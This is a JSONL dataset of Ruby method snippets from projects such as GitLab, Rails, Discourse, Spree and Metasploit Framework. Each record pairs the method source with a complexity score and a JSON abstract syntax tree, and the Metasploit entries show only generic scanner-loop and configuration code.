{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/helpers/application_helper.rb","start_line":440,"raw_source":"def client_js_flags\n    {\n      \"is#{browser_id.titlecase}\": true,\n      \"is#{platform_id.titlecase}\": true\n    }\n  end","complexity_score":4.4,"ast_json":"{\"type\":\"def\",\"children\":[\"client_js_flags\",{\"type\":\"args\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"is\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"browser_id\"]},\"titlecase\"]}]}]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"str\",\"children\":[\"is\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"platform_id\"]},\"titlecase\"]}]}]},{\"type\":\"true\",\"children\":[]}]}]}]}","id":"08a4a648-3917-4db5-91a4-b2092e9ee01b"}
{"repo_name":"dawarich","file_path":"./repos/dawarich/app/services/reverse_geocoding/places/fetch_data.rb","start_line":52,"raw_source":"def find_place(place_data, existing_places)\n    osm_id = place_data['properties']['osm_id'].to_s\n\n    existing_place = existing_places[osm_id]\n\n    return existing_place if existing_place.present?\n\n    coordinates = place_data['geometry']['coordinates']\n\n    Place.new(\n      lonlat: build_point_coordinates(coordinates),\n      latitude: coordinates[1].to_f.round(5),\n      longitude: coordinates[0].to_f.round(5)\n    )\n  end","complexity_score":23.55,"ast_json":"{\"type\":\"def\",\"children\":[\"find_place\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"place_data\"]},{\"type\":\"arg\",\"children\":[\"existing_places\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"osm_id\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"place_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"properties\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"osm_id\"]}]},\"to_s\"]}]},{\"type\":\"lvasgn\",\"children\":[\"existing_place\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_places\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"osm_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_place\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"lvar\",\"children\":[\"existing_place\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"coordinates\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"place_data\"]},\"[]\",{\"type\":\"str\",\"children\":[\"geometry\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"coordinates\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Place\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lonlat\"]},{\"type\":\"send\",\"children\":[null,\"build_point_coordinates\",{\"type\":\"lvar\",\"children\":[\"coordinates\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"latitude\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coordinates\"]},\"[]\",{\"type\":\"int\",\"children\":[1]}]},\"to_f\"]},\"round\",{\"type\":\"int\",\"children\":[5]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"longitude\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"coordinates\"]},\"[]\",{\"type\":\"int\",\"children\":[0]}]},\"to_f\"]},\"round\",{\"type\":\"int\",\"children\":[5]}]}]}]}]}]}]}","id":"6fbac249-6cfd-44c1-81f5-a9cb0422593b"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/lib/action_controller/metal/content_security_policy.rb","start_line":82,"raw_source":"def current_content_security_policy\n        request.content_security_policy&.clone || ActionDispatch::ContentSecurityPolicy.new\n      end","complexity_score":6.2,"ast_json":"{\"type\":\"def\",\"children\":[\"current_content_security_policy\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"request\"]},\"content_security_policy\"]},\"clone\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActionDispatch\"]},\"ContentSecurityPolicy\"]},\"new\"]}]}]}","id":"168e3add-951a-41fb-b280-4b1b22a43599"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/import_export/project_tree_expectations.rb","start_line":97,"raw_source":"def normalize_elements(elem)\n      case elem\n      when Hash\n        elem.to_h do |key, value|\n          if ignore_key?(key, value)\n            [key, :ignored]\n          else\n            [key, normalize_elements(value)]\n          end\n        end\n      when Array\n        elem.map { |a| normalize_elements(a) }\n      else\n        elem\n      end\n    end","complexity_score":13.3,"ast_json":"{\"type\":\"def\",\"children\":[\"normalize_elements\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"elem\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem\"]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem\"]},\"to_h\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]},{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ignore_key?\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"ignored\"]}]},{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"send\",\"children\":[null,\"normalize_elements\",{\"type\":\"lvar\",\"children\":[\"value\"]}]}]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Array\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"elem\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"a\"]}]},{\"type\":\"send\",\"children\":[null,\"normalize_elements\",{\"type\":\"lvar\",\"children\":[\"a\"]}]}]}]},{\"type\":\"lvar\",\"children\":[\"elem\"]}]}]}","id":"e634c10e-2b0d-4307-be01-3f515d3ac909"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/valid_attribute.rb","start_line":9,"raw_source":"def valid_attribute?(attribute)\n    self.errors.empty? || self.errors.messages[attribute].nil?\n  end","complexity_score":9.0,"ast_json":"{\"type\":\"def\",\"children\":[\"valid_attribute?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"attribute\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"errors\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"errors\"]},\"messages\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"attribute\"]}]},\"nil?\"]}]}]}","id":"41039564-6879-4f13-8c0f-2b08653e6e7d"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/core/auxiliary/udp_scanner.rb","start_line":77,"raw_source":"def run_batch(batch)\n    @udp_sockets = {}\n    @udp_sockets_mutex = Mutex.new\n\n    @udp_send_count = 0\n    @interval_mutex = Mutex.new\n\n    # Provide a hook for pre-scanning setup\n    scanner_prescan(batch)\n\n    # Call the including module once per IP\n    batch.each do |ip|\n      scan_host(ip)\n    end\n\n    # Catch any stragglers\n    stime = Time.now.to_f\n\n    while Time.now.to_f < ( stime + datastore['ScannerRecvWindow'] )\n      scanner_recv(1.0)\n    end\n\n    # Provide a hook for post-scanning processing\n    scanner_postscan(batch)\n  end","complexity_score":25.13,"ast_json":"{\"type\":\"def\",\"children\":[\"run_batch\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"batch\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@udp_sockets\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@udp_sockets_mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@udp_send_count\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"ivasgn\",\"children\":[\"@interval_mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[null,\"scanner_prescan\",{\"type\":\"lvar\",\"children\":[\"batch\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"batch\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"ip\"]}]},{\"type\":\"send\",\"children\":[null,\"scan_host\",{\"type\":\"lvar\",\"children\":[\"ip\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"stime\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]}]},{\"type\":\"while\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Time\"]},\"now\"]},\"to_f\"]},\"<\",{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"stime\"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ScannerRecvWindow\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"scanner_recv\",{\"type\":\"float\",\"children\":[1.0]}]}]},{\"type\":\"send\",\"children\":[null,\"scanner_postscan\",{\"type\":\"lvar\",\"children\":[\"batch\"]}]}]}]}","id":"61e68037-1210-4aeb-af75-08f26aa8e5d1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build_trace_chunks/fog.rb","start_line":68,"raw_source":"def keys(relation)\n        return [] unless available?\n\n        relation.pluck(:build_id, :chunk_index)\n      end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"keys\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"relation\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"available?\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"array\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"relation\"]},\"pluck\",{\"type\":\"sym\",\"children\":[\"build_id\"]},{\"type\":\"sym\",\"children\":[\"chunk_index\"]}]}]}]}","id":"80a76dd2-c344-4af5-b4fe-a50576becaab"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/sidebars/groups/menus/observability_menu.rb","start_line":140,"raw_source":"def dashboard_menu_item\n          link = group_observability_path(context.group, 'dashboard')\n          ::Sidebars::MenuItem.new(\n            title: s_('Observability|Dashboard'),\n            link: link,\n            active_routes: { page: link },\n            super_sidebar_parent: ::Sidebars::Groups::SuperSidebarMenus::ObservabilityMenu,\n            item_id: :dashboard,\n            container_html_options: { class: 'shortcuts-dashboard' }\n          )\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"dashboard_menu_item\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"link\",{\"type\":\"send\",\"children\":[null,\"group_observability_path\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"context\"]},\"group\"]},{\"type\":\"str\",\"children\":[\"dashboard\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"MenuItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Observability|Dashboard\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"lvar\",\"children\":[\"link\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"active_routes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"link\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"super_sidebar_parent\"]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Sidebars\"]},\"Groups\"]},\"SuperSidebarMenus\"]},\"ObservabilityMenu\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"item_id\"]},{\"type\":\"sym\",\"children\":[\"dashboard\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"container_html_options\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"class\"]},{\"type\":\"str\",\"children\":[\"shortcuts-dashboard\"]}]}]}]}]}]}]}]}","id":"b98beb73-da36-4b92-b12b-590c1eb781aa"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/testing/after_teardown_test.rb","start_line":24,"raw_source":"def after_teardown\n    assert_changes -> { failures.count }, from: 0, to: 1 do\n      super\n    end\n\n    assert_equal true, @witness\n    failures.clear\n  end","complexity_score":9.5,"ast_json":"{\"type\":\"def\",\"children\":[\"after_teardown\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_changes\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"lambda\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failures\"]},\"count\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"zsuper\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"true\",\"children\":[]},{\"type\":\"ivar\",\"children\":[\"@witness\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"failures\"]},\"clear\"]}]}]}","id":"519bdea9-481a-438b-894d-de3a36bc0dae"}
{"repo_name":"discourse","file_path":"./repos/discourse/spec/system/page_objects/components/admin_fonts_form.rb","start_line":48,"raw_source":"def form\n        @form ||= PageObjects::Components::FormKit.new(\".admin-fonts-form\")\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"form\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@form\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"PageObjects\"]},\"Components\"]},\"FormKit\"]},\"new\",{\"type\":\"str\",\"children\":[\".admin-fonts-form\"]}]}]}]}","id":"b93242a7-e8c5-4f93-8fc9-04a002c7bcfc"}
{"repo_name":"rails","file_path":"./repos/rails/activesupport/test/core_ext/hash_ext_test.rb","start_line":656,"raw_source":"def test_single_record_from_xml_with_nil_values\n    topic_xml = <<-EOT\n      <topic>\n        <title></title>\n        <id type=\"integer\"></id>\n        <approved type=\"boolean\"></approved>\n        <written-on type=\"date\"></written-on>\n        <viewed-at type=\"datetime\"></viewed-at>\n        <parent-id></parent-id>\n      </topic>\n    EOT\n\n    expected_topic_hash = {\n      title: nil,\n      id: nil,\n      approved: nil,\n      written_on: nil,\n      viewed_at: nil,\n      parent_id: nil\n    }.stringify_keys\n\n    assert_equal expected_topic_hash, Hash.from_xml(topic_xml)[\"topic\"]\n  end","complexity_score":6.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_single_record_from_xml_with_nil_values\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"topic_xml\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"      <topic>\\n\"]},{\"type\":\"str\",\"children\":[\"        <title></title>\\n\"]},{\"type\":\"str\",\"children\":[\"        <id type=\\\"integer\\\"></id>\\n\"]},{\"type\":\"str\",\"children\":[\"        <approved type=\\\"boolean\\\"></approved>\\n\"]},{\"type\":\"str\",\"children\":[\"        <written-on type=\\\"date\\\"></written-on>\\n\"]},{\"type\":\"str\",\"children\":[\"        <viewed-at type=\\\"datetime\\\"></viewed-at>\\n\"]},{\"type\":\"str\",\"children\":[\"        <parent-id></parent-id>\\n\"]},{\"type\":\"str\",\"children\":[\"      </topic>\\n\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"expected_topic_hash\",{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"approved\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"written_on\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"viewed_at\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"parent_id\"]},{\"type\":\"nil\",\"children\":[]}]}]},\"stringify_keys\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"expected_topic_hash\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Hash\"]},\"from_xml\",{\"type\":\"lvar\",\"children\":[\"topic_xml\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"topic\"]}]}]}]}]}","id":"27aea491-4519-49f2-8562-6be29792dc6e"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/ci/build.rb","start_line":1394,"raw_source":"def track_ci_build_created_event\n      Gitlab::InternalEvents.track_event(\n        'create_ci_build',\n        project: project,\n        user: user,\n        property: name\n      )\n    end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"track_ci_build_created_event\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"InternalEvents\"]},\"track_event\",{\"type\":\"str\",\"children\":[\"create_ci_build\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project\"]},{\"type\":\"send\",\"children\":[null,\"project\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[null,\"user\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"property\"]},{\"type\":\"send\",\"children\":[null,\"name\"]}]}]}]}]}","id":"f20a3f96-3ebf-43df-a27e-26e631b5f37d"}
{"repo_name":"multiwoven","file_path":"./repos/multiwoven/integrations/lib/multiwoven/integrations/source/odoo/client.rb","start_line":48,"raw_source":"def create_streams(connection_config, models)\n        models.map do |model|\n          fields = @client.execute_kw(connection_config[:database], @uid, connection_config[:password],\n                                      model[\"model\"], \"fields_get\", [], { 'attributes': %w[name type] })\n          Multiwoven::Integrations::Protocol::Stream.new(name: model[\"model\"], action: StreamAction[\"fetch\"],\n                                                         supported_sync_modes: %w[incremental], json_schema: convert_to_json_schema(fields))\n        end\n      end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"create_streams\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"connection_config\"]},{\"type\":\"arg\",\"children\":[\"models\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"models\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"model\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"fields\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@client\"]},\"execute_kw\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"database\"]}]},{\"type\":\"ivar\",\"children\":[\"@uid\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"connection_config\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"password\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"[]\",{\"type\":\"str\",\"children\":[\"model\"]}]},{\"type\":\"str\",\"children\":[\"fields_get\"]},{\"type\":\"array\",\"children\":[]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"attributes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"name\"]},{\"type\":\"str\",\"children\":[\"type\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Multiwoven\"]},\"Integrations\"]},\"Protocol\"]},\"Stream\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"model\"]},\"[]\",{\"type\":\"str\",\"children\":[\"model\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"action\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StreamAction\"]},\"[]\",{\"type\":\"str\",\"children\":[\"fetch\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"supported_sync_modes\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"incremental\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"json_schema\"]},{\"type\":\"send\",\"children\":[null,\"convert_to_json_schema\",{\"type\":\"lvar\",\"children\":[\"fields\"]}]}]}]}]}]}]}]}","id":"b1ef2bff-55a7-46f5-a1f5-ed70640c25b2"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/msf/base/config.rb","start_line":214,"raw_source":"def self.history_file\n    self.new.history_file\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"history_file\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"new\"]},\"history_file\"]}]}","id":"f14bef9e-f8ba-47e0-9a2d-088432134fab"}
{"repo_name":"spree","file_path":"./repos/spree/api/app/helpers/spree/api/v2/collection_options_helpers.rb","start_line":31,"raw_source":"def pagination_url(page)\n          url_for(collection_permitted_params.merge(page: page))\n        end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"pagination_url\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"send\",\"children\":[null,\"url_for\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"collection_permitted_params\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"page\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]}]}]}]}]}","id":"8e5cfa9c-77df-4fa3-9ea1-8fafb3f67e6a"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/work_items/data_sync/widgets/linked_items.rb","start_line":18,"raw_source":"def post_move_cleanup\n          IssueLink.for_source(work_item).each_batch(of: BATCH_SIZE, column: :target_id) do |links_batch|\n            links_batch.delete_all\n          end\n\n          IssueLink.for_target(work_item).each_batch(of: BATCH_SIZE, column: :source_id) do |links_batch|\n            links_batch.delete_all\n          end\n        end","complexity_score":11.4,"ast_json":"{\"type\":\"def\",\"children\":[\"post_move_cleanup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssueLink\"]},\"for_source\",{\"type\":\"send\",\"children\":[null,\"work_item\"]}]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"target_id\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"links_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"links_batch\"]},\"delete_all\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"IssueLink\"]},\"for_target\",{\"type\":\"send\",\"children\":[null,\"work_item\"]}]},\"each_batch\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"of\"]},{\"type\":\"const\",\"children\":[null,\"BATCH_SIZE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"column\"]},{\"type\":\"sym\",\"children\":[\"source_id\"]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"links_batch\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"links_batch\"]},\"delete_all\"]}]}]}]}","id":"c362fcc8-8075-41bd-bce5-246ac678b7d2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/projects/pipelines_controller.rb","start_line":290,"raw_source":"def set_pipeline_path\n    @pipeline_path ||= if find_latest_pipeline?\n                         latest_project_pipelines_path(@project, params['ref'])\n                       else\n                         project_pipeline_path(@project, @pipeline)\n                       end\n  end","complexity_score":8.0,"ast_json":"{\"type\":\"def\",\"children\":[\"set_pipeline_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"ivasgn\",\"children\":[\"@pipeline_path\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"find_latest_pipeline?\"]},{\"type\":\"send\",\"children\":[null,\"latest_project_pipelines_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"ref\"]}]}]},{\"type\":\"send\",\"children\":[null,\"project_pipeline_path\",{\"type\":\"ivar\",\"children\":[\"@project\"]},{\"type\":\"ivar\",\"children\":[\"@pipeline\"]}]}]}]}]}","id":"07268791-2dc4-4fe2-bab1-423797a7ac63"}
